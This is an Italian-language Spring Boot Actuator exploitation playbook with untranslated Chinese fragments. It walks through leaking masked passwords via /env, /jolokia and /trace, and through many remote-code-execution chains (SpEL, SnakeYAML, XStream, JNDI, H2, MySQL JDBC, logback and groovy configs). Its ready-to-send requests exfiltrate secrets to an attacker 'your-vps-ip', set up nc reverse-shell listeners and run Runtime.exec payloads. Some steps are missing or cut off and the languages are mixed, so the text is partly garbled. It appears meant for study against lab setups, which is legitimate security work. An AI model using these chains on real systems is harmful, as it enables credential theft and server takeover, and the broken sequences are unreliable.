Zero: Route e Versioni

0x01: Conoscenze sulle Route

• Alcuni programmatori personalizzano /manage, /management o nomi correlati all'app del progetto come percorso radice di Spring
• Spring Boot Actuator 1.x ha il percorso iniziale predefinito per le route incorporate come /, mentre la versione 2.x usa uniformemente /actuator come percorso iniziale
• I nomi delle route incorporate predefinite di Spring Boot Actuator, come /env, a volte vengono modificati dai programmatori, ad esempio in /appenv

0x02: Conoscenze sulle Versioni

Spring Cloud è una serie di framework costruita su Spring Boot per sviluppare servizi e fornisce funzionalità comuni come configurazione gestita, registrazione e scoperta di servizi, routing intelligente, aiutando lo sviluppo rapido di sistemi distribuiti.

Dipendenze reciproche tra versioni dei componenti:

Relazioni di dipendenza tra Spring Cloud e Spring Boot:

Suffissi e significati dei numeri di versione minori di Spring Cloud:

Uno: Perdita di Informazioni

0x01: Perdita di dettagli su route di indirizzi e invocazioni di interfacce

Gli sviluppatori non si rendono conto che la divulgazione degli indirizzi può causare rischi per la sicurezza, oppure quando l'ambiente di sviluppo viene cambiato in ambiente di produzione online, i responsabili non modificano i file di configurazione, dimenticano di cambiare la configurazione dell'ambiente, ecc.

Accedere direttamente alle due seguenti route correlate a swagger per verificare se la vulnerabilità esiste:``` /v2/api-docs /swagger-ui.html

Inoltre, le seguenti rotte correlate a Spring Boot Actuator talvolta includono (o consentono di dedurre) alcune informazioni sugli indirizzi degli endpoint, ma non è possibile ottenere informazioni sui parametri:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops

Tra le interfacce più importanti per la ricerca di vulnerabilità ci sono:

• /env、/actuator/env

  Una richiesta GET a /env può direttamente divulgare variabili d'ambiente, indirizzi di rete interna, nomi utente dalla configurazione, ecc.; quando i nomi delle proprietà non sono standardizzati (ad esempio password scritte come psasword, pwd), possono essere esposte in chiaro.

  Inoltre, con una certa probabilità, è possibile impostare alcune proprietà tramite una richiesta POST a /env, innescando indirettamente vulnerabilità RCE correlate; allo stesso tempo, è possibile ottenere in chiaro password, chiavi e altre informazioni sensibili mascherate con asterischi.

• /refresh、/actuator/refresh

  Dopo aver impostato le proprietà tramite una richiesta POST a /env, è possibile combinarla con una richiesta POST a /refresh per aggiornare le variabili delle proprietà e innescare vulnerabilità RCE correlate.

• /restart、/actuator/restart

  Questo endpoint è esposto meno frequentemente; può essere combinato con una richiesta POST a /env per impostare proprietà, seguita da un POST a /restart per riavviare l'applicazione e innescare vulnerabilità RCE.

• /jolokia、/actuator/jolokia

  È possibile utilizzare l'endpoint /jolokia/list per trovare MBean sfruttabili, innescare indirettamente vulnerabilità RCE, ottenere in chiaro informazioni sensibili mascherate con asterischi, ecc.

• /trace、/actuator/httptrace

  Informazioni di tracciamento delle richieste HTTP; in esse potrebbero essere scoperti dettagli sulle richieste di applicazioni interne, nonché cookie di utenti o amministratori validi, token JWT, ecc.

0x03: Ottenere il testo in chiaro delle password mascherate con asterischi (Metodo 1)

Quando si accede all'endpoint /env, Spring Actuator sostituisce i valori delle proprietà i cui nomi contengono parole chiave sensibili (come password, secret) con asterischi (*) per mascherare i dati.

Condizioni di sfruttamento:

• L'applicazione target espone l'endpoint /jolokia o /actuator/jolokia
• L'applicazione utilizza la dipendenza jolokia-core (requisiti di versione attualmente sconosciuti)

Metodo di sfruttamento:

Passo 1: Trovare il nome della proprietà da ottenere

Eseguire una richiesta GET all'endpoint /env o /actuator/env del sito target, cercare la parola chiave ****** e trovare il nome della proprietà corrispondente al valore mascherato con asterischi che si desidera ottenere.

Passo 2: Invocare il MBean pertinente tramite jolokia per ottenere il testo in chiaro

Sostituire security.user.password nell'esempio seguente con il nome effettivo della proprietà da ottenere e inviare direttamente la richiesta; il valore in chiaro sarà contenuto nella chiave value della risposta.

• Invocare il MBean org.springframework.boot

In realtà invoca il metodo getProperty dell'istanza della classe org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar

spring 1.x``` POST /jolokia Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

• Chiama il Mbean org.springframework.cloud.context.environment

In realtà è una chiamata al metodo getProperty dell'istanza della classe org.springframework.cloud.context.environment.EnvironmentManager

spring 1.x``` POST /jolokia Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

• Chiamare altri Mbean

La situazione specifica del target e gli Mbean esistenti potrebbero differire; è possibile cercare parole chiave come getProperty per trovare metodi richiamabili.

0x04: Ottenere il testo in chiaro della password mascherata da asterischi (Metodo 2)

Condizioni di sfruttamento:

• Possibilità di effettuare richieste GET a /env del sito target
• Possibilità di effettuare richieste POST a /env del sito target
• Possibilità di effettuare richieste POST all'endpoint /refresh del sito target per aggiornare la configurazione (è presente la dipendenza spring-boot-starter-actuator)
• Il target utilizza la dipendenza spring-cloud-starter-netflix-eureka-client
• Il target può effettuare richieste al server dell'attaccante (le richieste possono uscire verso la rete esterna)

Metodo di sfruttamento:

Passo 1: Individuare il nome della proprietà desiderata

Effettuare una richiesta GET all'endpoint /env o /actuator/env del sito target, cercare la parola chiave ****** e trovare il nome della proprietà corrispondente al valore mascherato dall'asterisco *.

Passo 2: Utilizzare nc per ascoltare le richieste HTTP

Sul server esterno controllato, mettersi in ascolto sulla porta 80:```bash nc -lvk 80

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

spring 2.x``` POST /actuator/refresh Content-Type: application/json

Decodificando in base64 la parte dmFsdWU6MTIzNDU2 si ottiene un valore in chiaro simile a value:123456, dove 123456 è il valore dell'attributo in chiaro prima della mascheratura con asterisco *.

0x05: Ottenere il testo in chiaro della password mascherata con asterisco (Metodo 3)

Condizioni di sfruttamento:

• Impostare una proprietà tramite POST /env per indurre il target a effettuare una richiesta HTTP arbitraria verso un indirizzo specificato in Internet.
• Il target deve essere in grado di effettuare richieste verso il server dell'attaccante (la richiesta deve poter uscire sulla rete esterna).

Metodo di sfruttamento:

Fare riferimento all'issue-1 proposta da UUUUnotfound. Durante il processo in cui il target effettua una richiesta HTTP esterna, è possibile utilizzare segnaposto nel percorso URL per estrarre dati.

Passo 1: Trovare il nome dell'attributo desiderato

Effettuare una richiesta GET all'interfaccia /env o /actuator/env del target, cercare la parola chiave ****** e trovare il nome dell'attributo corrispondente al valore mascherato con asterisco * che si desidera ottenere.

Passo 2: Usare nc per ascoltare le richieste HTTP

Sul server esterno che controlli, mettiti in ascolto sulla porta 80:```bash nc -lvk 80

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

spring 2.x``` POST /actuator/refresh Content-Type: application/json

辅助用 "password" 等关键词快速过滤分析，获得密码等相关敏感信息的明文。

二：远程代码执行

由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的，所以有些漏洞名字起的不太正规，以能区分为准

0x01：whitelabel error page SpEL RCE

Condizioni per lo sfruttamento:

• Spring Boot 1.1.0-1.1.12, 1.2.0-1.2.7, 1.3.0
• Conoscere almeno un endpoint e il nome del parametro che attivano la pagina di errore predefinita di Spring Boot

Metodo di sfruttamento:

Passo 1: Trovare un punto di passaggio di parametri normale

Ad esempio, se si scopre che accedendo a /article?id=xxx , la pagina restituisce un errore con codice di stato 500: Whitelabel Error Page, allora tutti i payload successivi verranno provati sul parametro id.

Passo 2: Eseguire un'espressione SpEL

Inserire /article?id=${7*7} . Se la pagina di errore mostra il valore di 7*7, cioè 49, calcolato e visualizzato nella pagina di errore, allora si può confermare che il target ha una vulnerabilità di injection di espressioni SpEL.

Convertire il formato stringa in byte java 0x** per eseguire codice arbitrario:```python

coding: utf-8

result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))

Principio della vulnerabilità:

1. Quando Spring Boot gestisce i valori dei parametri e si verifica un errore, il flusso entra nella classe org.springframework.util.PropertyPlaceholderHelper
2. A questo punto, i valori dei parametri nell'URL vengono analizzati ricorsivamente con il metodo parseStringValue
3. Il contenuto racchiuso da ${} viene interpretato ed eseguito come espressione SpEL dal metodo resolvePlaceholder della classe org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration, provocando una vulnerabilità RCE

Analisi della vulnerabilità:

​ SpringBoot SpEL表达式注入漏洞-分析与复现

Ambiente della vulnerabilità:

repository/springboot-spel-rce

Accesso normale:``` http://127.0.0.1:9091/article?id=66

0x02：spring cloud SnakeYAML RCE

Condizioni di sfruttamento：

• Possibilità di inviare richieste POST all'endpoint /env del sito target per impostare proprietà
• Possibilità di inviare richieste POST all'endpoint /refresh del sito target per aggiornare la configurazione (presenza della dipendenza spring-boot-starter-actuator)
• Versione della dipendenza spring-cloud-starter del target < 1.3.0.RELEASE
• Il target può effettuare richieste verso il server HTTP dell'attaccante (le richieste possono raggiungere la rete esterna)

Metodo di sfruttamento：

Passo 1: Ospitare i file yml e jar

Sulla macchina VPS sotto il proprio controllo, avviare un semplice server HTTP, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Nella directory radice del sito, posiziona un file con estensione jar chiamato example.jar, il cui contenuto è il codice da eseguire. Per la scrittura e la compilazione del codice, fare riferimento a yaml-payload.

Passo 2: Impostare la proprietà spring.cloud.bootstrap.location

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

Passo 3: Aggiorna la configurazione

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

Principio della vulnerabilità:

1. La proprietà spring.cloud.bootstrap.location viene impostata sull'URL di un file yml malevolo esterno
2. Il refresh attiva la richiesta da parte della macchina target del file yml sul server HTTP remoto, ottenendone il contenuto
3. A causa di una vulnerabilità di deserializzazione in SnakeYAML, l'analisi del contenuto yml malevolo esegue le azioni specificate
4. Prima viene attivato java.net.URL per scaricare il file jar malevolo dal server HTTP remoto
5. Quindi viene cercata la classe nel file jar che implementa l'interfaccia javax.script.ScriptEngineFactory e istanziata
6. Durante l'istanziazione della classe viene eseguito codice malevolo, causando una vulnerabilità RCE

Analisi della vulnerabilità:

Note di apprendimento su Exploit Spring Boot Actuator e Spring Cloud Env

Ambiente della vulnerabilità:

repository/springcloud-snakeyaml-rce

Accesso normale:``` http://127.0.0.1:9092/env

Passo tre: Imposta la proprietà eureka.client.serviceUrl.defaultZone

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

Passo 4: Aggiornare la configurazione

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

Principio della vulnerabilità:

1. La proprietà eureka.client.serviceUrl.defaultZone viene impostata su un URL malevolo di un server eureka esterno.
2. Il refresh fa sì che la macchina target richieda l'URL remoto; il fake eureka server appositamente predisposto restituirà un payload malevolo.
3. Le dipendenze correlate della macchina target analizzano il payload, innescando la deserializzazione XStream, causando una vulnerabilità RCE.

Analisi della vulnerabilità:

Spring Boot Actuator: da accesso non autorizzato a gettare una shell

Ambiente per la vulnerabilità:

repository/springboot-eureka-xstream-rce

Accesso normale:``` http://127.0.0.1:9093/env

在根目录放置以 xml 结尾的 example.xml 文件，内容如下：```xml

Quindi copiare il file JNDIObject.class generato nella directory root del sito web del Passo 2.

Passo 4: Configurare il servizio LDAP malevolo

Scaricare marshalsec e utilizzare il comando seguente per configurare il servizio LDAP corrispondente:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

Passo sei: Caricare il file di configurazione del log da un URL esterno

⚠️ Se il target ha richiesto con successo example.xml e anche marshalsec ha ricevuto la richiesta dal target, ma il target non ha richiesto JNDIObject.class, è probabile che la versione JDK dell'ambiente target sia troppo alta, causando il fallimento dell'attacco JNDI.

Sostituisci con l'indirizzo IP effettivo del tuo VPS e accedi all'URL per attivare la vulnerabilità:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

0x05：jolokia Realm JNDI RCE

Condizioni di sfruttamento:

• Il sito target ha un endpoint /jolokia o /actuator/jolokia
• Il target utilizza la dipendenza jolokia-core (la versione richiesta è sconosciuta al momento) e nell'ambiente sono presenti i relativi MBean
• Il target può effettuare richieste verso il server dell'attaccante (le richieste possono uscire dalla rete esterna)
• L'iniezione JNDI normale è influenzata dalla versione JDK del target, jdk < 6u141/7u131/8u121 (RMI), ma l'ambiente correlato può essere bypassato

Metodo di sfruttamento:

Passo 1: Verificare gli MBean esistenti

Accedere all'endpoint /jolokia/list per verificare se esistono parole chiave type=MBeanFactory e createJNDIRealm.

Passo 2: Preparare il codice Java da eseguire

Scrivere il codice Java esempio JNDIObject.java ottimizzato per ottenere una reverse shell.

Passo 3: Ospitare il file class

Avviare un semplice server HTTP sulla propria macchina VPS, utilizzando possibilmente porte comuni per servizi HTTP (80, 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Passo cinque: ascoltare la porta per il reverse shell

Generalmente si usa nc per ascoltare una porta in attesa del reverse shell.```bash nc -lvp 443

0x06: riavviare la query del database h2 RCE

Condizioni di sfruttamento:

• È possibile inviare una richiesta POST all'endpoint /env del sito target per impostare le proprietà
• È possibile inviare una richiesta POST all'endpoint /restart del sito target per riavviare l'applicazione
• Esiste la dipendenza com.h2database.h2 (versione richiesta attualmente sconosciuta)

Metodo di sfruttamento:

Passo 1: Impostare la proprietà spring.datasource.hikari.connection-test-query

⚠️ Il metodo 'T5' nel payload sottostante deve essere rinominato (es. T6) dopo ogni esecuzione del comando per poter essere ricreato e riutilizzato, altrimenti la vulnerabilità non verrà attivata al successivo riavvio dell'applicazione

spring 1.x (esecuzione di comandi senza output)``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

Passo 2: Riavviare l'applicazione

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

Principio della vulnerabilità:

1. La proprietà spring.datasource.hikari.connection-test-query viene impostata a un'istruzione SQL dannosa CREATE ALIAS per creare una funzione personalizzata.
2. Tale proprietà corrisponde alla configurazione connectionTestQuery del pool di connessioni HikariCP, definendo un'istruzione SQL eseguita prima di stabilire una nuova connessione al database.
3. Riavviando l'applicazione, si stabilisce una nuova connessione al database.
4. Se la funzione personalizzata nell'istruzione SQL non è ancora stata eseguita, verrà eseguita, causando una vulnerabilità RCE.

Analisi della vulnerabilità:

remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

Ambiente della vulnerabilità:

repository/springboot-h2-database-rce

Accesso normale:``` http://127.0.0.1:9096/actuator/env

Copiate il file JNDIObject.class generato nella directory radice del sito web del Passaggio 2.

Passaggio 3: ospitare il file class

Sulla macchina VPS sotto il tuo controllo, avvia un semplice server HTTP utilizzando possibilmente porte di servizio HTTP comuni (80, 443).```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Passaggio 5: Monitora la porta per la reverse shell

Generalmente si usa nc per ascoltare su una porta, aspettando una reverse shell```bash nc -lv 443

Analisi della vulnerabilità：

​ Spring Boot + H2 Database JNDI Injection

Ambiente della vulnerabilità：

repository/springboot-h2-database-rce

Accesso normale:``` http://127.0.0.1:9096/h2-console

Genera il file payload deserializzato payload.ser nella stessa directory dello script, per essere utilizzato dallo script.

Passo 3: Imposta la proprietà spring.datasource.url

⚠️ Modificare questa proprietà renderà temporaneamente inutilizzabili tutti i normali servizi di database del sito, influenzando le operazioni aziendali. Procedere con cautela!

Per la versione 5.x di mysql-connector-java, imposta il valore della proprietà come:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

Passo 4: Aggiornamento configurazione

spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

Passo 5: Attivare la query del database

Provare ad accedere all'interfaccia di query del database conosciuta del sito web, ad esempio: /product/list, o cercare altri modi per attivare attivamente una query del database sul sito sorgente, quindi la vulnerabilità verrà attivata

Passo 6: Ripristinare l'URL JDBC originale

Dopo aver completato lo sfruttamento della vulnerabilità di deserializzazione, utilizzare il metodo del Passo 3 per ripristinare il valore value originale di spring.datasource.url registrato nel Passo 1

Principio della vulnerabilità:

1. L'attributo spring.datasource.url viene impostato su un URL JDBC MySQL malevolo esterno
2. Dopo il refresh, viene impostato un nuovo valore per l'attributo spring.datasource.url
3. Quando il sito web esegue operazioni come query al database, tenterà di stabilire una nuova connessione al database utilizzando l'URL JDBC MySQL malevolo
4. Quindi il server MySQL malevolo restituirà i dati del payload di deserializzazione nella fase appropriata di stabilimento della connessione
5. Il mysql-connector-java dipendente dall'obiettivo deserializzerà il gadget configurato, causando una vulnerabilità RCE

Analisi della vulnerabilità:

​ New-Exploit-Technique-In-Java-Deserialization-Attack

Ambiente della vulnerabilità:

È necessario configurare spring.datasource.url, spring.datasource.username, spring.datasource.password in application.properties per garantire una normale connessione al database MySQL, altrimenti il programma genererà un errore e uscirà all'avvio

repository/springboot-mysql-jdbc-rce

Accesso normale:``` http://127.0.0.1:9097/actuator/env

0x09: riavviare la configurazione di logging logback JNDI RCE

Condizioni di sfruttamento:

• È possibile inviare una richiesta POST all'interfaccia /env del sito target per impostare proprietà
• È possibile inviare una richiesta POST all'interfaccia /restart del sito target per riavviare l'applicazione
• L'iniezione JNDI standard è influenzata dalla versione JDK del target, JDK < 6u201/7u191/8u182/11.0.1 (LDAP), ma gli ambienti correlati possono essere aggirati
• ⚠️ Il target può effettuare richieste al server HTTP dell'attaccante (le richieste possono uscire verso la rete esterna), altrimenti il riavvio causerà un'uscita anomala del programma
• ⚠️ Se il server HTTP restituisce un file con contenuto XML malformato, causerà un'uscita anomala del programma
• ⚠️ L'oggetto restituito dal servizio JNDI deve implementare l'interfaccia javax.naming.spi.ObjectFactory, altrimenti causerà un'uscita anomala del programma

Metodo di sfruttamento:

Passo 1: Ospitare il file XML

Avviare un semplice server HTTP sulla propria macchina VPS, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Passo 2: Ospitare il servizio LDAP malevolo e il codice

Fare riferimento all'articolo, modificare JNDIExploit e avviarlo (si possono usare anche altri metodi):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

spring 2.x``` POST /actuator/restart Content-Type: application/json

0x0A: restart logging.config groovy RCE

Condizioni di sfruttamento:

• Possibilità di inviare richieste POST all'endpoint /env del sito target per impostare proprietà
• Possibilità di inviare richieste POST all'endpoint /restart del sito target per riavviare l'applicazione
• ⚠️ Il target deve essere in grado di contattare il server HTTP dell'attaccante (le richieste devono uscire verso Internet), altrimenti il restart porterà a un'uscita anomala del programma
• ⚠️ Se il server HTTP restituisce un file con sintassi Groovy malformata, ciò porterà a un'uscita anomala del programma
• ⚠️ Nell'ambiente è necessaria la presenza della dipendenza Groovy, altrimenti si avrà un'uscita anomala del programma

Metodo di sfruttamento:

Passo 1: Ospitare il file Groovy

Avviare un semplice server HTTP su una macchina VPS controllata, utilizzando possibilmente porte comuni per servizi HTTP (80, 443)```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Passo 2: Imposta la proprietà logging.config

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.groovy

Passaggio tre: riavvia l'applicazione

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

Principio della vulnerabilità:

1. La macchina target imposta l'URL del file di configurazione del log di Logback tramite la proprietà logging.config.
2. Dopo il riavvio, l'applicazione richiede l'URL impostato.
3. Nel file di codice ch.qos.logback.classic.util.ContextInitializer.java del componente logback-classic, la logica verifica se l'URL termina con groovy.
4. Se l'URL termina con groovy, viene eseguito il codice Groovy contenuto nel file, causando una vulnerabilità RCE.

Ambiente di vulnerabilità:

repository/springboot-restart-rce

Accesso normale:``` http://127.0.0.1:9098/actuator/env

Posiziona nella directory principale un file example.groovy che termina con groovy, il cui contenuto è il codice Groovy da eseguire, ad esempio:```xml Runtime.getRuntime().exec("open -a Calculator")

spring 2.x``` POST /actuator/env Content-Type: application/json

{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

spring 2.x``` POST /actuator/restart Content-Type: application/json

0x0C：riavvia spring.datasource.data h2 database RCE

Condizioni di sfruttamento:

• Può inviare richieste POST all'interfaccia /env del sito target per impostare proprietà
• Può inviare richieste POST all'interfaccia /restart del sito target per riavviare l'applicazione
• Nell'ambiente devono essere presenti le dipendenze h2database e spring-boot-starter-data-jpa
• ⚠️ Il target deve poter effettuare richieste HTTP verso il server dell'attaccante (le richieste devono poter uscire in rete esterna), altrimenti il riavvio causerà un'uscita anomala del programma
• ⚠️ Se il server HTTP restituisce un file contenente sintassi SQL h2 malformata, il programma terminerà in modo anomalo

Metodo di sfruttamento:

Passo 1: Ospitare il file sql

Avviare un semplice server HTTP sulla propria macchina VPS controllata, utilizzando preferibilmente porte comuni per servizi HTTP (80, 443)```bash

使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80 python3 -m http.server 80

Passo 2: impostare proprietà spring.datasource.data

spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

spring.datasource.data=http://your-vps-ip/example.sql

Passo 3: Riavvia l'applicazione

spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

Principio della vulnerabilità:

1. La macchina bersaglio può impostare l'URL del file DML SQL JDBC tramite la proprietà spring.datasource.data
2. Dopo il riavvio dell'applicazione, il programma richiederà l'URL impostato
3. Nel componente spring-boot-autoconfigure, il file org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java utilizza il metodo runScripts per eseguire il codice SQL del database h2 contenuto nella richiesta URL, causando una vulnerabilità RCE

Ambiente della vulnerabilità:

repository/springboot-restart-rce

Accesso normale:``` http://127.0.0.1:9098/actuator/env